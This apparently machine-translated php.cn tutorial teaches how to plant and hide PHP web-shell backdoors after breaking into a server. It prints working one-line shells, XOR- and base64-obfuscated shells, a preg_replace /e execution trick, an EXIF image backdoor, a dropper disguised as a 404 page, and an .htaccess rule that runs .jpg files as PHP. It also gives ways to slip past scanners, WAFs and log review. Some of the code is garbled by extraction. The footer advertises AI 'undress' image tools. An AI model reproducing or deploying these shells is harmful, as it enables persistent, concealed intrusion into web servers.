Home Backend Development PHP Tutorial PHP backdoor hiding and maintenance techniques

PHP backdoor hiding and maintenance techniques

Aug 08, 2016 am 09:21 AM
gt lt nbsp php shell

After a successful test, you usually want to keep the privileges longer. The work of leaving backdoors is crucial. The backdoors usually deployed include but are not limited to database permissions, WEB permissions, system user permissions, etc. This article will popularize some of the ideas hidden in Volkswagen’s backdoors.

AD:

0×00 Preface

After a successful test, you usually want to keep the privileges longer. The work of leaving backdoors is very important. The backdoors usually deployed include but are not limited to databases. Permissions, WEB permissions, system user permissions, etc. This article will popularize some of the ideas hidden by popular backdoors.

Take PHP-WEBBACKDOOR as an example to attract others

A most common one-sentence backdoor may be written like this

  1. eval($_POST['cmd']);?>

or this

  1. $_POST['cmd' ]);?>

Of course, this is only different in the functions called. Regarding the functions disabled by PHP, please look for them in php.ini: disable_functions.

But there are many ways for operation and maintenance to intuitively find our shell. For example,

◆ found anomalies through file name/modification time/size, file backup comparison

◆ found through WEBSHELL backdoor scanning script, such as Scanbackdoor.php/Pecker/shelldetect.php and various scanners, etc.

◆Through Access.log access log found the location of the backdoor

◆Or, our test sentence will be blocked by WAF, and there will be a warning log, etc.

In view of common detection methods, the following seven common techniques are summarized to hide the shell

0×01 circumvention

Look at the various scanning backdoor codes and you will know that leaving a keyword that everyone knows and everyone shouts is absolutely not allowed in the shell

Common keywords such as :

◆System command execution: system, passthru, shell_exec, exec, popen, proc_open

◆Code execution: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

◆File contains: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

In the past, a friend cleverly used $_POST[0]($_POST[1]) to execute commands. Unfortunately, it is difficult to escape the scanner now, but everything has changed, and the construction method It is infinite

tudouya classmate gave [a construction technique] on FREEBUF (http://www.freebuf.com/articles/web/33824.html) using

  1. @$ _++; // $_ = 1
  2. $__=("#"^"|"); // $__ = _
  3. $__.=( "."^"~"); // _P
  4. $__.=("/"^"`"); // _PO
  5. $ __.=("|"^"/"); // _POS
  6. $__.=("{"^"/"); // _POST
  7. ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
  8. ?>

Construction generation, of course, if it is too intuitive, you can write it like this

  1. $_++;$__=("#"^"|").( "."^"~").("/"^"`").("|"^"/").("{"^"/");@${ $__}[!$_](${$__}[$_]);?> The code is disguised, and a simple "anti-kill" shell sample appearsIt executes correctly and bypasses ordinary scanners, and you can also rely on it to write a new temporary shell0×02 feature It is also an interesting way to execute commands with the help of syntax features. Borrowing the syntax features of PHP when processing variables, it will analyze whether the data in double quotes contains variables (and parse their values)eg.:
  2. ${@
eval(phpinfo())}

{} can parse the variable content within double quotes, @keep the error and continue execution

Then you can start to construct the hidden backdoor, but here the structure wants to rely on The command execution caused by the function is, yes, preg_replace

"//e",

$_POST[

'cmd'],

"");?>

  1. This method has obviously been entered into the scanner blacklist, please modify it simply
    1. function funfunc($str){}
    2. echo preg_replace("/(.+?)/ies", 'funfunc ("1")', $_POST["cmd"]);
    3. ?>

    was executed and was not found. The way of execution is obvious. After regular matching The {${phpinfo()}} caused code execution when passed into funfunc

    funfunc(

    "{${phpinfo()}}")

    1. Another method
    2. "$arr="".

      $_GET[

      'cmd'].
        "";");?>
      1. 0×03 contains

      file contains everyone I have tried all the methods, but there are also techniques for including. Ordinary file inclusion may just be an include that contains a certain txt or jpg, or even directly leave an include vulnerability, but it is easy for a scanner to find it, and extra include files are also easy to find.

      Look at this script

      if(@isset(

      $_GET[content]))

      1. {
      2. $fp=fopen('REA DME',
      3. 'w ');
      4. file_put_contents('README',"
      5. @file_put_contents('README',$_GET [content],FILE_APPEND); (Fclose (l $ fp);
      6. Require
      7. 'README ';} ? & Gt;
      8. can be regarded as solved a little problem.
      9. Unfortunately, because functions such as file_put_contents are too sensitive, they are easily discovered by scanning Encoding is used to create a shell, which is generated with access.
      10. fputs(fopen(
      base64_decode (

      'cGx1Z2luX20ucGhw'),w),

      base64_decode(

      'PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));

      1. ?> Can evade some scanners, but this mode is also more attractive To attract people's attention, the new files generated should also be simply hidden to avoid detection. Of course, new concepts such as heuristics will not be considered. In the case that this method cannot meet the needs, a smart The attacker regained the image $exif=exif_read_data('./lol.jpg');preg_replace(
      2. $exif[
      3. 'Make'],
      4. $exif[
      'Model'] ,

      '');?>

      1. Reference: A backdoor hidden in the EXIF ​​of JPG imagesThis time, you don’t have to simply copy /b to generate the image horse, use preg_replace to execute Specific flags of the file are also possibleHere may prompt Call to undefined function exif_read_data()You need to modify php.ini, extension=php_exif.dllChange its loading order to extension=php_mbstring.dll From the back

      it can be seen that this image backdoor relies on the preg_replace e parameter, relies on PHP's variable parsing and execution, and uses base64 encoding. Finally, it relies on file identification to put together a complete shell, which can be regarded as hiding the backdoor for beginners. A little reminder for children's shoes

      Of course, as long as there is an include point, the form of the included file is diverse, even including error_log (although you may want to consider closing it), only unexpected...

      0×04 is hidden

      In order to prevent visitors After discovering the existence of backdoors, clever security researchers will also confuse things and try to confuse things

      1. "-//IETF//DTD HTML 2.0//EN">
      2.                                                                             >
      3. < ;/p>
      4.  
      5.                                                                                           
      6. ?>
      7. With the help of the above html rendering, the browsing page has begun to disguise 404 to confuse the audience
      8. But it can’t be avoided by visitors or log analysis. In order to better hide in a large number of logs, the structure The following script
      9. header('HTTP/1.1 404'); ob_start(); @fputs(fopen(
      10. base64_decode(
      11. 'cGx1Z2luX20ucGhw'),w),
      12. base64_decode(
      'PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));

      1. The access is a real 404, yes, the same is true in the log
      2. But at this moment, the script we want to connect has been generated in the current directory 0×05 confusion Children’s shoes who have used the weevely tool should know that the anti-kill shell it generates is like this $penh=
      3. "sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";
      $kthe=

      "JGEpPjgiMpe yRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";

                                                                    stwrw_wrwepwlwawcwe");

                                                                            
      1. $zrmt=
      2. "JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";
      3. $smgv =
      4. $ftdf(
      5. "f", "", " bfafsfef6f4_fdfefcodfe”);
      6. $rdwm = $jgfi( '', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.
      7. $penh)));
      8. $rdwm();
      9. ?> After connecting to the terminal, it looks like thisPs: I forgot to change the terminal code in the screenshot: (
      10. The way to avoid killing is to generate a random name in a fixed area variables, and then use str_replace to combine base64_decode, the process of executing the commandOf course, this is to obfuscate at the code level to avoid scannersThe more commonly used method of obfuscation:◆Modify the file time◆Rename and integrate into upload The folder where the file is located makes it impossible to visually detect file abnormalities◆Disguise processing of file size (at least the size looks like a normal script)
      11. ◆Choose the hiding path and access as little as possible◆Abnormal directory %20 About the space directory, it is relatively easy to find0×06 parsingUse .htaccess to add parsing backdoorsuch as:AddType application/x-httpd-php .jpg
      12. The above is taking weeverly as an example
      13. 0×07 Mixture

      To summarize the above methods, most of them are nothing more than a process of constructing vulnerabilities. The code constructed by the vulnerability can be as weird as the backdoor can be. You can write something delicate and graceful, or you can make it simple and crude, but the applicable situations are different. For example It is not difficult to integrate ideas well and construct your own hidden shell. The above is just a summary of experience. If you have interesting ideas, please feel free to enlighten me.

      The above introduces the PHP backdoor hiding and maintenance techniques, including the relevant content. I hope it will be helpful to friends who are interested in PHP tutorials.

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
1 months ago By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
1 months ago By 尊渡假赌尊渡假赌尊渡假赌
Will R.E.P.O. Have Crossplay?
1 months ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian Dec 24, 2024 pm 04:42 PM

PHP 8.4 brings several new features, security improvements, and performance improvements with healthy amounts of feature deprecations and removals. This guide explains how to install PHP 8.4 or upgrade to PHP 8.4 on Ubuntu, Debian, or their derivati

How To Set Up Visual Studio Code (VS Code) for PHP Development How To Set Up Visual Studio Code (VS Code) for PHP Development Dec 20, 2024 am 11:31 AM

Visual Studio Code, also known as VS Code, is a free source code editor — or integrated development environment (IDE) — available for all major operating systems. With a large collection of extensions for many programming languages, VS Code can be c

7 PHP Functions I Regret I Didn't Know Before 7 PHP Functions I Regret I Didn't Know Before Nov 13, 2024 am 09:42 AM

If you are an experienced PHP developer, you might have the feeling that you’ve been there and done that already.You have developed a significant number of applications, debugged millions of lines of code, and tweaked a bunch of scripts to achieve op

How do you parse and process HTML/XML in PHP? How do you parse and process HTML/XML in PHP? Feb 07, 2025 am 11:57 AM

This tutorial demonstrates how to efficiently process XML documents using PHP. XML (eXtensible Markup Language) is a versatile text-based markup language designed for both human readability and machine parsing. It's commonly used for data storage an

Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Apr 05, 2025 am 12:04 AM

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

PHP Program to Count Vowels in a String PHP Program to Count Vowels in a String Feb 07, 2025 pm 12:12 PM

A string is a sequence of characters, including letters, numbers, and symbols. This tutorial will learn how to calculate the number of vowels in a given string in PHP using different methods. The vowels in English are a, e, i, o, u, and they can be uppercase or lowercase. What is a vowel? Vowels are alphabetic characters that represent a specific pronunciation. There are five vowels in English, including uppercase and lowercase: a, e, i, o, u Example 1 Input: String = "Tutorialspoint" Output: 6 explain The vowels in the string "Tutorialspoint" are u, o, i, a, o, i. There are 6 yuan in total

Explain late static binding in PHP (static::). Explain late static binding in PHP (static::). Apr 03, 2025 am 12:04 AM

Static binding (static::) implements late static binding (LSB) in PHP, allowing calling classes to be referenced in static contexts rather than defining classes. 1) The parsing process is performed at runtime, 2) Look up the call class in the inheritance relationship, 3) It may bring performance overhead.

What are PHP magic methods (__construct, __destruct, __call, __get, __set, etc.) and provide use cases? What are PHP magic methods (__construct, __destruct, __call, __get, __set, etc.) and provide use cases? Apr 03, 2025 am 12:03 AM

What are the magic methods of PHP? PHP's magic methods include: 1.\_\_construct, used to initialize objects; 2.\_\_destruct, used to clean up resources; 3.\_\_call, handle non-existent method calls; 4.\_\_get, implement dynamic attribute access; 5.\_\_set, implement dynamic attribute settings. These methods are automatically called in certain situations, improving code flexibility and efficiency.

See all articles